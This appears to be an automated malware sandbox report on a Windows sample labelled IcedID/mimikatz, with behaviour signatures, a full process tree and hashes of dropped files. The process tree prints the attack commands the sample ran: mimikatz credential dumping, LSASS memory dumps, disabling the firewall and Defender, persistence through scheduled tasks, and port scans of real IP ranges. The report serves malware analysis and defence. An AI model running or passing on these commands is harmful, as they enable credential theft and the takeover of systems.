Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    09/08/2024, 07:47

General

  • Target
    2024-08-09_5f67da39b77d6aaedccf9b23ae8b703a_hacktools_icedid_mimikatz.exe
  • Size 9.2MB
  • Sample240809-jmpp6ssalh
  • SHA256 f6087fb644043bae37b399692233efe06249c2512411f80085592d37265692b4
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Disables service(s) 3 TTPs
  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Contacts a large (16887) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • OS Credential Dumping: LSASS Memory 1 TTPs

    Malicious access to Credentials History.

  • XMRig Miner payload 11 IoCs
  • mimikatz is an open source tool to dump credentials on Windows 7 IoCs
  • Drops file in Drivers directory 3 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 18 IoCs
  • Loads dropped DLL 24 IoCs
  • UPX packed file 32 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Creates a Windows Service
  • Drops file in System32 directory 12 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 60 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • NSIS installer 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 14 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 31 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    1⤵
      PID:308
      • C:\Windows\TEMP\jirbymkef\qnmtmn.exe
        "C:\Windows\TEMP\jirbymkef\qnmtmn.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1164
    • C:\Users\Admin\AppData\Local\Temp\2024-08-09_5f67da39b77d6aaedccf9b23ae8b703a_hacktools_icedid_mimikatz.exe
      "C:\Users\Admin\AppData\Local\Temp\2024-08-09_5f67da39b77d6aaedccf9b23ae8b703a_hacktools_icedid_mimikatz.exe"
      1⤵
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2924
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\aqivbpuf\ttyuieu.exe
        2⤵
        • Loads dropped DLL
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:2296
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:2784
        • C:\Windows\aqivbpuf\ttyuieu.exe
          C:\Windows\aqivbpuf\ttyuieu.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:2748
    • C:\Windows\aqivbpuf\ttyuieu.exe
      C:\Windows\aqivbpuf\ttyuieu.exe
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2336
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2680
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2808
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D users
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2756
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2856
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2644
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2656
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2536
      • C:\Windows\SysWOW64\netsh.exe
        netsh ipsec static del all
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        • Modifies data under HKEY_USERS
        PID:1360
      • C:\Windows\SysWOW64\netsh.exe
        netsh ipsec static add policy name=Bastards description=FuckingBastards
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        PID:2628
      • C:\Windows\SysWOW64\netsh.exe
        netsh ipsec static add filteraction name=BastardsList action=block
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        PID:2388
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c C:\Windows\ncatlbinb\tkblimsfb\wpcap.exe /S
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1164
        • C:\Windows\ncatlbinb\tkblimsfb\wpcap.exe
          C:\Windows\ncatlbinb\tkblimsfb\wpcap.exe /S
          3⤵
          • Drops file in Drivers directory
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in System32 directory
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:2632
          • C:\Windows\SysWOW64\net.exe
            net stop "Boundary Meter"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:1196
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "Boundary Meter"
              5⤵
                PID:2052
            • C:\Windows\SysWOW64\net.exe
              net stop "TrueSight Meter"
              4⤵
                PID:2404
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop "TrueSight Meter"
                  5⤵
                    PID:2400
                • C:\Windows\SysWOW64\net.exe
                  net stop npf
                  4⤵
                    PID:1468
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop npf
                      5⤵
                      • System Location Discovery: System Language Discovery
                      PID:1668
                  • C:\Windows\SysWOW64\net.exe
                    net start npf
                    4⤵
                    • System Location Discovery: System Language Discovery
                    PID:2056
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 start npf
                      5⤵
                      • System Location Discovery: System Language Discovery
                      PID:2440
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c net start npf
                2⤵
                  PID:2288
                  • C:\Windows\SysWOW64\net.exe
                    net start npf
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:2216
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 start npf
                      4⤵
                      • System Location Discovery: System Language Discovery
                      PID:1880
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c net start npf
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:2140
                  • C:\Windows\SysWOW64\net.exe
                    net start npf
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:2000
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 start npf
                      4⤵
                        PID:2232
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c C:\Windows\ncatlbinb\tkblimsfb\nqqitriut.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\ncatlbinb\tkblimsfb\Scant.txt
                    2⤵
                    • Loads dropped DLL
                    PID:700
                    • C:\Windows\ncatlbinb\tkblimsfb\nqqitriut.exe
                      C:\Windows\ncatlbinb\tkblimsfb\nqqitriut.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\ncatlbinb\tkblimsfb\Scant.txt
                      3⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:2600
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c C:\Windows\ncatlbinb\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\ncatlbinb\Corporate\log.txt
                    2⤵
                    • Loads dropped DLL
                    • Drops file in Windows directory
                    PID:1820
                    • C:\Windows\ncatlbinb\Corporate\vfshost.exe
                      C:\Windows\ncatlbinb\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
                      3⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:620
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "efmibnsnk" /ru system /tr "cmd /c C:\Windows\ime\ttyuieu.exe"
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:596
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                      3⤵
                        PID:1616
                      • C:\Windows\SysWOW64\schtasks.exe
                        schtasks /create /sc minute /mo 1 /tn "efmibnsnk" /ru system /tr "cmd /c C:\Windows\ime\ttyuieu.exe"
                        3⤵
                        • System Location Discovery: System Language Discovery
                        • Scheduled Task/Job: Scheduled Task
                        PID:1624
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "nqyufevsi" /ru system /tr "cmd /c echo Y|cacls C:\Windows\aqivbpuf\ttyuieu.exe /p everyone:F"
                      2⤵
                        PID:2344
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                          3⤵
                          • System Location Discovery: System Language Discovery
                          PID:880
                        • C:\Windows\SysWOW64\schtasks.exe
                          schtasks /create /sc minute /mo 1 /tn "nqyufevsi" /ru system /tr "cmd /c echo Y|cacls C:\Windows\aqivbpuf\ttyuieu.exe /p everyone:F"
                          3⤵
                          • System Location Discovery: System Language Discovery
                          • Scheduled Task/Job: Scheduled Task
                          PID:2356
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ffpnmbstt" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\jirbymkef\qnmtmn.exe /p everyone:F"
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:2152
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                          3⤵
                          • System Location Discovery: System Language Discovery
                          PID:2328
                        • C:\Windows\SysWOW64\schtasks.exe
                          schtasks /create /sc minute /mo 1 /tn "ffpnmbstt" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\jirbymkef\qnmtmn.exe /p everyone:F"
                          3⤵
                          • System Location Discovery: System Language Discovery
                          • Scheduled Task/Job: Scheduled Task
                          PID:2772
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        PID:2124
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        • Modifies data under HKEY_USERS
                        PID:2860
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • Modifies data under HKEY_USERS
                        PID:588
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static set policy name=Bastards assign=y
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        • Modifies data under HKEY_USERS
                        PID:2816
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        • Modifies data under HKEY_USERS
                        PID:2812
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        • Modifies data under HKEY_USERS
                        PID:676
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        PID:632
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static set policy name=Bastards assign=y
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        PID:2116
                      • C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe
                        C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe -accepteula -mp 308 C:\Windows\TEMP\ncatlbinb\308.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2276
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • Modifies data under HKEY_USERS
                        PID:2128
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        • Modifies data under HKEY_USERS
                        PID:1764
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        PID:2404
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static set policy name=Bastards assign=y
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        • Modifies data under HKEY_USERS
                        PID:2280
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c net stop SharedAccess
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:1776
                        • C:\Windows\SysWOW64\net.exe
                          net stop SharedAccess
                          3⤵
                            PID:2436
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 stop SharedAccess
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:2324
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c netsh firewall set opmode mode=disable
                          2⤵
                          • System Location Discovery: System Language Discovery
                          PID:2200
                          • C:\Windows\SysWOW64\netsh.exe
                            netsh firewall set opmode mode=disable
                            3⤵
                            • Modifies Windows Firewall
                            • Event Triggered Execution: Netsh Helper DLL
                            • System Location Discovery: System Language Discovery
                            • Modifies data under HKEY_USERS
                            PID:2248
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c netsh Advfirewall set allprofiles state off
                          2⤵
                          • System Location Discovery: System Language Discovery
                          PID:2712
                          • C:\Windows\SysWOW64\netsh.exe
                            netsh Advfirewall set allprofiles state off
                            3⤵
                            • Modifies Windows Firewall
                            • Event Triggered Execution: Netsh Helper DLL
                            • System Location Discovery: System Language Discovery
                            • Modifies data under HKEY_USERS
                            PID:108
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c net stop MpsSvc
                          2⤵
                          • System Location Discovery: System Language Discovery
                          PID:548
                          • C:\Windows\SysWOW64\net.exe
                            net stop MpsSvc
                            3⤵
                              PID:1840
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop MpsSvc
                                4⤵
                                • System Location Discovery: System Language Discovery
                                PID:1980
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c net stop WinDefend
                            2⤵
                            • System Location Discovery: System Language Discovery
                            PID:1548
                            • C:\Windows\SysWOW64\net.exe
                              net stop WinDefend
                              3⤵
                              • System Location Discovery: System Language Discovery
                              PID:1076
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop WinDefend
                                4⤵
                                • System Location Discovery: System Language Discovery
                                PID:3040
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c net stop wuauserv
                            2⤵
                            • System Location Discovery: System Language Discovery
                            PID:1816
                            • C:\Windows\SysWOW64\net.exe
                              net stop wuauserv
                              3⤵
                                PID:2568
                                • C:\Windows\SysWOW64\net1.exe
                                  C:\Windows\system32\net1 stop wuauserv
                                  4⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:1244
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c sc config MpsSvc start= disabled
                              2⤵
                                PID:2260
                                • C:\Windows\SysWOW64\sc.exe
                                  sc config MpsSvc start= disabled
                                  3⤵
                                  • Launches sc.exe
                                  PID:1720
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c sc config SharedAccess start= disabled
                                2⤵
                                  PID:2600
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc config SharedAccess start= disabled
                                    3⤵
                                    • Launches sc.exe
                                    • System Location Discovery: System Language Discovery
                                    PID:1640
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c sc config WinDefend start= disabled
                                  2⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:940
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc config WinDefend start= disabled
                                    3⤵
                                    • Launches sc.exe
                                    • System Location Discovery: System Language Discovery
                                    PID:2596
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c sc config wuauserv start= disabled
                                  2⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:592
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc config wuauserv start= disabled
                                    3⤵
                                    • Launches sc.exe
                                    • System Location Discovery: System Language Discovery
                                    PID:1412
                                • C:\Windows\TEMP\xohudmc.exe
                                  C:\Windows\TEMP\xohudmc.exe
                                  2⤵
                                  • Executes dropped EXE
                                  • Drops file in System32 directory
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of SetWindowsHookEx
                                  PID:1692
                                • C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe
                                  C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe -accepteula -mp 1116 C:\Windows\TEMP\ncatlbinb\1116.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2196
                                • C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe
                                  C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe -accepteula -mp 1172 C:\Windows\TEMP\ncatlbinb\1172.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2900
                                • C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe
                                  C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe -accepteula -mp 1612 C:\Windows\TEMP\ncatlbinb\1612.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1620
                                • C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe
                                  C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe -accepteula -mp 800 C:\Windows\TEMP\ncatlbinb\800.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2696
                                • C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe
                                  C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe -accepteula -mp 1948 C:\Windows\TEMP\ncatlbinb\1948.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2740
                                • C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe
                                  C:\Windows\TEMP\ncatlbinb\nkzsffpiu.exe -accepteula -mp 2204 C:\Windows\TEMP\ncatlbinb\2204.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:576
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /c C:\Windows\ncatlbinb\tkblimsfb\scan.bat
                                  2⤵
                                  • Loads dropped DLL
                                  PID:1568
                                  • C:\Windows\ncatlbinb\tkblimsfb\qbntfpebj.exe
                                    qbntfpebj.exe TCP 194.110.0.1 194.110.255.255 445 512 /save
                                    3⤵
                                    • Executes dropped EXE
                                    • Drops file in Windows directory
                                    • System Location Discovery: System Language Discovery
                                    PID:2524
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                  2⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:3716
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                    3⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:4088
                                  • C:\Windows\SysWOW64\cacls.exe
                                    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
                                    3⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:3892
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                    3⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:924
                                  • C:\Windows\SysWOW64\cacls.exe
                                    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
                                    3⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:656
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                    3⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:2340
                                  • C:\Windows\SysWOW64\cacls.exe
                                    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                    3⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:2900
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted
                                1⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2744
                              • C:\Windows\SysWOW64\ssssgc.exe
                                C:\Windows\SysWOW64\ssssgc.exe
                                1⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                • Suspicious use of SetWindowsHookEx
                                PID:2872
                              • C:\Windows\system32\taskeng.exe
                                taskeng.exe {08260A1C-6FB5-464D-ACE5-082E2296BB80} S-1-5-18:NT AUTHORITY\System:Service:
                                1⤵
                                  PID:368
                                  • C:\Windows\system32\cmd.EXE
                                    C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\aqivbpuf\ttyuieu.exe /p everyone:F
                                    2⤵
                                      PID:1684
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                        3⤵
                                          PID:2484
                                        • C:\Windows\system32\cacls.exe
                                          cacls C:\Windows\aqivbpuf\ttyuieu.exe /p everyone:F
                                          3⤵
                                            PID:2248
                                        • C:\Windows\system32\cmd.EXE
                                          C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\jirbymkef\qnmtmn.exe /p everyone:F
                                          2⤵
                                            PID:1668
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                              3⤵
                                                PID:2192
                                              • C:\Windows\system32\cacls.exe
                                                cacls C:\Windows\TEMP\jirbymkef\qnmtmn.exe /p everyone:F
                                                3⤵
                                                  PID:928
                                              • C:\Windows\system32\cmd.EXE
                                                C:\Windows\system32\cmd.EXE /c C:\Windows\ime\ttyuieu.exe
                                                2⤵
                                                  PID:2280
                                                  • C:\Windows\ime\ttyuieu.exe
                                                    C:\Windows\ime\ttyuieu.exe
                                                    3⤵
                                                    • Executes dropped EXE
                                                    • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                    • Suspicious use of SetWindowsHookEx
                                                    PID:2476
                                                • C:\Windows\system32\cmd.EXE
                                                  C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\jirbymkef\qnmtmn.exe /p everyone:F
                                                  2⤵
                                                    PID:3324
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                      3⤵
                                                        PID:3880
                                                      • C:\Windows\system32\cacls.exe
                                                        cacls C:\Windows\TEMP\jirbymkef\qnmtmn.exe /p everyone:F
                                                        3⤵
                                                          PID:3940
                                                      • C:\Windows\system32\cmd.EXE
                                                        C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\aqivbpuf\ttyuieu.exe /p everyone:F
                                                        2⤵
                                                          PID:3688
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                                            3⤵
                                                              PID:3984
                                                            • C:\Windows\system32\cacls.exe
                                                              cacls C:\Windows\aqivbpuf\ttyuieu.exe /p everyone:F
                                                              3⤵
                                                                PID:1884
                                                            • C:\Windows\system32\cmd.EXE
                                                              C:\Windows\system32\cmd.EXE /c C:\Windows\ime\ttyuieu.exe
                                                              2⤵
                                                                PID:3696
                                                                • C:\Windows\ime\ttyuieu.exe
                                                                  C:\Windows\ime\ttyuieu.exe
                                                                  3⤵
                                                                  • Executes dropped EXE
                                                                  • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                  • Suspicious use of SetWindowsHookEx
                                                                  PID:548

                                                            Network

                                                                  MITRE ATT&CK Enterprise v15

                                                                  Replay Monitor

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                                                                  Downloads

                                                                  Packet.dll

                                                                  • Path C:\Windows\SysWOW64\Packet.dll
                                                                  • Size 95KB
                                                                  • SHA256 49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  wpcap.dll

                                                                  • Path C:\Windows\SysWOW64\wpcap.dll
                                                                  • Size 275KB
                                                                  • SHA256 b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  config.json

                                                                  • Path C:\Windows\TEMP\jirbymkef\config.json
                                                                  • Size 693B
                                                                  • SHA256 d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
                                                                  • MD5 SHA1 SHA512

                                                                  1116.dmp

                                                                  • Path C:\Windows\TEMP\ncatlbinb\1116.dmp
                                                                  • Size 1.3MB
                                                                  • SHA256 5113d9eef8494c1fcd888d645991cf5533d2daff20b0eb7990d0550aeba31dad
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  1172.dmp

                                                                  • Path C:\Windows\TEMP\ncatlbinb\1172.dmp
                                                                  • Size 1.2MB
                                                                  • SHA256 322bb84e1d39912e705112eff88dae4a691ff342cfb85af9070309690c679a69
                                                                  • MD5 SHA1 SHA512 SSDEEP

